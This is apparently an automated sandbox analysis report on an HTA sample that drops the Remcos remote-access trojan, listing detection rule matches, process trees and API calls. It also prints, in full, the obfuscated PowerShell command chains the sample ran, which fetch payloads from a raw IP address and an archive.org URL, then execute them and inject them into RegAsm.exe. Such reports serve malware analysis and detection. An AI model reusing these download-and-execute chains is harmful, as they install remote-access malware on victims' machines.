Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00437DB3	11_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00435EEB	11_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0043DEED	11_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00426E9F	11_2_00426E9F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434801 appears 41 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 9.2.powershell.exe.66ba028.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 9.2.powershell.exe.66ba028.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 6128, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 1672, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: RegAsm.exe PID: 6020, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winHTA@19/18@6/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

11_2_0041798D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

11_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

11_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

11_2_0041AADB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nicemeetingsofpictureclearthingstobe[1].tiff

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1532:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-M3P7YT

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avhm3mxt.kyo.ps1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: LJ1IZDkHyE.hta

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\LJ1IZDkHyE.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9FA0.tmp" "c:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAg